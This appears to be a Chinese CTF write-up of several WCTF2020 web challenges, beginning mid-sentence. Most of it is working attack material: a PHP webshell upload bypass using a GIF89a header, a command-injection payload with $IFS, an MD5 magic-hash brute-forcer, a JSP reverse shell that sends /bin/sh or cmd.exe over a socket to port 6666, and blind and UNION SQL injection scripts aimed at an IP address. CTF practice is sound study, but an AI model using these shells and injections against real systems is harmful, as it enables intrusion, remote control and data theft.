Here is your flag: 5_a_c@nner_can_Can_@_can}

得到Flag：

wctf2020{can_y0u_can_a_can_a5_a_c@nner_can_Can_@_can}

admin

wctf2020{n0w_you_kn0w_the_basic_0f_sql_and_http}

CV Maker

进入题目发现是一个CMS，随便注册一个账号进入个人主页，发现有上传点：

这个按钮就很僵硬好吧，上传php文件（这里发现没有过滤，有点困惑），但是后端有 exif_imagetype()验证，直接在文件头添加GIF89a上传得到Shell

连接Shell，发现根目录下有/readflag，运行得到Flag：

 Flag：

wctf2020{congratulation_upl0ad_to_getShe1111111}

朴实无华

进入题目什么都没有，根据“人间极乐bot”字样猜测Robots.txt文件中有hint：

User-agent: *
Disallow: /fAke_f1agggg.php

php 
header(‘Content-type:text/html;charset=utf-8‘); 
error_reporting(0); 
highlight_file(__file__); 
 
 
//level 1 
if (isset($_GET[‘num‘])){ 
    $num = $_GET[‘num‘]; 
    if(intval($num) intval($num + 1) > 2021){ 
        echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好."; 
    }else{ 
        die("金钱解决不了穷人的本质问题"); 
    } 
}else{ 
    die("去非洲吧"); 
} 
//level 2 
if (isset($_GET[‘md5‘])){ 
   $md5=$_GET[‘md5‘]; 
   if ($md5==md5($md5)) 
       echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴."; 
   else 
       die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲"); 
}else{ 
    die("去非洲吧"); 
} 
 
//get flag 
if (isset($_GET[‘get_flag‘])){ 
    $get_flag = $_GET[‘get_flag‘]; 
    if(!strstr($get_flag," ")){ 
        $get_flag = str_ireplace("cat", "wctf2020", $get_flag); 
        echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥."; 
        system($get_flag); 
    }else{ 
        die("快到非洲了"); 
    } 
}else{ 
    die("去非洲吧"); 
} 
?> 

import hashlib
def md5_enc(s):
    m = hashlib.md5()
    m.update(str(s).encode(‘utf-8‘))
    return m.hexdigest()

for i in range(0,9999999999):
    i = ‘0e‘ + str(i)
    enc = md5_enc(i)
    print(i+" md5 is "+enc)
    #md5值前两位为0e
    if enc[:2] == "0e":
        #md5值0e后为纯数字
        if enc[2:].isdigit():
            result.append(i)
            print("Got Result:"+i)
            break

ca\t$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

wctf2020{s1mple_php_1s_v3ry_e@sy_and_here_1s_y0ur_stupid_flag_wish_u_h@ve_@_go0d_time_enj0y_1t} 

%>
="java.util.*"%>
="java.io.*"%>
="java.net.*"%>

;
    OutputStream qk;

    StreamConnector( InputStream pp, OutputStream qk )
    {
      this.pp = pp;
      this.qk = qk;
    }

    public void run()
    {
      BufferedReader qe  = null;
      BufferedWriter ihb = null;
      try
      {
        qe  = new BufferedReader( new InputStreamReader( this.pp ) );
        ihb = new BufferedWriter( new OutputStreamWriter( this.qk ) );
        char buffer[] = new char[8192];
        int length;
        while( ( length = qe.read( buffer, 0, buffer.length ) ) > 0 )
        {
          ihb.write( buffer, 0, length );
          ihb.flush();
        }
      } catch( Exception e ){}
      try
      {
        if( qe != null )
          qe.close();
        if( ihb != null )
          ihb.close();
      } catch( Exception e ){}
    }
  }

  try
  {
    String ShellPath;
if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
  ShellPath = new String("/bin/sh");
} else {
  ShellPath = new String("cmd.exe");
}

    Socket socket = new Socket( "IP", 6666 );
    Process process = Runtime.getRuntime().exec( ShellPath );
    ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start();
    ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start();
  } catch( Exception e ) {}
%>

wctf2020{0h_you_are_amazing_babyyyy}

#database = ctf
#table_one = flag
#table_two = score
#column_one = flag
#column_two = value
import requests
url = ‘http://101.200.53.102:10114/?stunum=0/**/or/**/ascii(substr((select/**/value/**/from/**/flag),{},1))={}#‘
flag = ‘‘
for m in range(1,50):
    for n in range(48,126):
        res = requests.get(url.format(m,n))
        if ‘admin‘ in res.text:
            flag += chr(n)
            print(chr(n))
            break
    if n==125 and ‘admin‘ not in res.text:
        break
print(flag)

数据库:0/**/uniunionon/**/select/**/1,database(),version()#
表:0/**/uniunionon/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#
列名:0/**/uniunionon/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name=0x666c6167#
字段:http://101.200.53.102:10114/?stunum=0/**/uniunionon/**/select/**/1,flag,value/**/from/**/flag#

wctf2020{e@sy_sq1_and_y0u_sc0re_1t}

wctf2020{th1s_1s_th3_m0st_e@sy_web}